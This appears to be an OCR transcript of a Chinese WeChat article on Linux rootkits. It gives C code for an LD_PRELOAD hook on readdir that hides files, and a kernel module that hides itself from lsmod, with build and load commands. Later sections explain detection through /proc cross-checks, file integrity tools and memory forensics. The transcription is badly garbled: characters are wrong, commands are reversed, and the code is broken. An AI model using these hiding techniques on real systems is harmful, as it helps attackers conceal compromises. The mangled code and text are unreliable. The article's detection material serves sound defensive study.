Linux Rootkit:技術原理、攻擊實作與可靠性檢測
发布于 2025-07-22 11:14:48(微信公众号导出记录)。
本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。
原文链接:查看原文
OCR 转写有效文字约 4101 字;代码、流程图和版式以文末原始排版图为准。
正文(本地 OCR 转写)
本文旨在對Linux 璟填下的 Rootkit技術进行深度分析,提供基於C韶言和内核模组的攻型 震作例,亚量述在系统工具可已被污染的情况下,如何造行可靠的状感推视网系接别
第一章:使用者空間Rootkit:LD_PRELOAD劫持
1.1技衡原理
L1nux 删感谨结器(Dynamic Linker)透遇 LD_PRELOAD 瑞境攀数,允许在庭用释式欲删時 制像先载入指定的共享座(.50榴案)。攻聚者可利用此機别,编寫一因恶意共享序置作與棵单 C函式座(Libc)中同名的函式。l.s 等指令被软行i,恶盈函式會取代原始函式,而描 亚通输出,到围荒榴案等目的。
1.2實作询實验:劫博readdir
本實胎建一健慈意共享康,劫持readd1r函式,以爆藏所有以_SECRET_為前绥的相案 攻程式碼(ld_hijack.c) #define GNU_soURCE #include <stdio.h> #include <dirent.hs static const char* HIDE_PREFIX = *SECRET"; //原始readd1r通式的通式指標原型 Lypedef slruct dirent * {*arig reatdir_t](0iR ×dirp); //置作[ibc中rcaddir 同名的意函式 //透通dlsyn瘙取下一需符號(即原始的readdir)的位址 orig_readdir_t orig_readdir = (orig_readdir_t)dlsym[RTLo_NExT, *re struct dirent *dir; 11通面呼叫原始函式,直到找到一留不需题的修目 while ((dir = orig_readdir(dirp)1) { 1f (strstr(cir->d_nane, HIDE_PREFIX) -- NULL} { break://如需瘤各不包含题的摄,别回傅酸修目 relurn dir;
實验步眼与验资 并1.输物共享康 gcc -shared -fpIc lc_h11ack.c -o ld_h1jack.so -ldl #2.别建测试瘤察 touch _SECRET_internal_memo.txt touch public_report.txt
3.正常赖行L5,所有慶案均可党
echo "..- [BeFoRE] Running ls nornally!" ls -1 预期输出: #_SECRET_interna?_memo.txt 12# Id_hijack.so 13 # public_reporf.txt
1.4#
15#4.使用LD_PRELOAD赖行5,秘密察鼓硬离 echo -e "yn--- [AFTER] Running ls with LD_PRELOAD:" 18#预期糖出(_SECRET_InternaL_meno.txt B消失): #Id_hijack.c 21# pubtic_report.txt
第二章:内核空間Rootkit:横組奥系統呼叫
2.1技衡原理虎置作:泄薇内核模
- 技原理Linux内核透遇一個蔓向耀结果列束遍能所有已数人的极组(LKM)。1smod播令
的调訊来源即為此经表。量LKM在基人後,可执行 ist_del_init(&_this_module.list),其自身的點偿此经表中移除,而 lsmod 等標萃工具周形
- 實驰:藏LKM或用交叉比法發玥它
攻聚程式码(hidden_Lkn.c)
include <linux/init.h> HODULE_LICENSE(GPL); HoDULE_DESCRIPTIoN(*A module that hides itself fron lsmod"); static int _init hidden_init(void) { 11偿全垃模组缺表中游白身移除,實理硬微 list_del_init(&_this_module.list); return 6; static void __exit hidden_exit(void) {} nodule_exit(hidden_exit) ; Makefile obj -n += hidden_1kn.0 all: nake -C /lib/nocules/${sheLL unane -r] /buitd M=$[PWD) modules clean: nake -C /lib/nodules/$(shell unane -r) /build M=$(PD)clean 部署奥检测實验 并1.编螺模组(假投環境配置正础) make #2.加载模组 sudo insmod hidden_1km.ko
53.使用Lsnod 罐,预期线不致hdden_Lkn
echo ".-- [INFo] Checking with lsnod.." lsnod I grep hidden_1km [INFo] lsnod check conplete. (No output is expected)* echo "...
4.可靠的搬漏:交又比/proc/kallsyns 與/proc/nodutes
ccho -e "yn--- [INFo] crass-referencing ta find hidden modules...*
conn -23
's//1/s。 pes I ,[Ns qutad}, xe | su(s11ex/soud/ ,[s-1, da6]>
(n- ↓uos | sanpom/soud/ {ts 4urud), xme]>
14预据糖出:
15#hidden_Lka
技斯原理:系统呼叫封持
此技術透通修改内核中的系呼叫表[sys_cal1_table),将原始的系統呼叫函式指标替换為恶意
函式的位址。这是量高耀限的截方式。但由龄现代Linux内核包含多强大的安全制(如
KernelLockdown),直接、疆定地實作此技術度依赖特定且通常较善的内核環境,故本文聚您
於其理逾和椎测方法。
第三章:直接取盟:/proc重建系统状慧
当疑系统工具已被污染時,必酒通它仍,直接内核暴鑫的原始数據源/proc檔案系统中请取 资讯。
3.1可靠的行程列表(ps替代方案)
- 原理:遍歷/proc目錄下的數字子目錄。每個數字目錄即為一個行程ID(PID),其下的
comm文件是行程名,cmdline文件是完整的動指令行(以\0分隔)。
- 實指令
d uou4 sossd s doi Butistn Anqetiad ---, ooe
echo ".-- Reliably Listing Top 5 Processes from /proc:"
/,p- ns | +[6-a]. aueu- p adf1- [ yndapxeu- aoud/ putj)$ ut pid Joj
printf "PID: %-7s Name: %-15s Cmdline: %s\n"
"PTd$"
"$(cat /proc/$pid/comm 2>/dev/null)"
done 丨head -n 5
3.2可靠的網路連接列表(netstat/ss替代方案)
- 原理:直接解析/proc/net/tcp文件。該文件包含了所有TCP連接的底層資訊,但其
IP地址和端口號是以十六進制(且為LittleEndian字序)格式存的,需要解碼。
- 實驗指令與本
解碼本(decode_tcp.awk) #!/usr/bin/awk -f function hex_to_dec(h) { return sprintf("%d","ox" h)} function hex_to_ip(h){ return hex_to_dec(substr(h,7,2)) "." hex_to_dec(substr(h,5,2)) ". { BEGIN{ printf "%-22s %-22s %s\n","Local Address","Remote Address","Sta’ states["O1"]="ESTABLISHED"; States["OA"]="LISTEN"; 6 10 { 11 NR > 1 { split($2, local, ":"); 12 13 split($3,remote,":"); 14 if ($4 in states){ state = states[$4] } else { state ="oTHER" } 15 printf "%-22s %-22s %s\n", 16 hex_to_ip(local[1]) ":" hex_to_dec(local[2]), 17 18 state
執行解碼 echo ".-- Reliably Listing TcP Connections from /proc/net/tcp:" chmod +x decode_tcp.awk ./decode_tcp.awk /proc/net/tcp
第四章:系統化的测與離線分析
手動查適用於初步判,系統化的策略才是防的關键。
- 檔案完整性控(FIM):使用AIDE、debsums或rpm-V等工具,定期對關键系統檔
案的雜凑值(hash)進行比對,以發現二進位檔案替換。
- 離線分析(offlineAnalysis):這是最可靠的機测方法。在受疑系統關機或被隔離後,
對其記憶體轉或磁碟映像進行分析。 o記憶體取證:使用Volatility3框架,其linux.check_Syscalls插件可精確機 測系統呼叫表是否被排;linux.check_modules可發現藏的内核模組。 o磁碟取證:使用TheSleuthKit(TSK)等工具,可底層文件系統結構中恢復被 Rootkit藏或“删除”的檔案。
第五章:總結
本文透通理結合可重現的實驗,系統性地展示了Rootkit的攻擎手法與可靠的測方式。其核 心結為:在應對高威時,必须放對標准高層工具的盲目信任,韩而/proc等内核直接暴 露的數據源進行底層取證與交叉驗證。對於深度藏的内核級威,離線取證是最終且最可靠的裁决 手段。
原始排版图

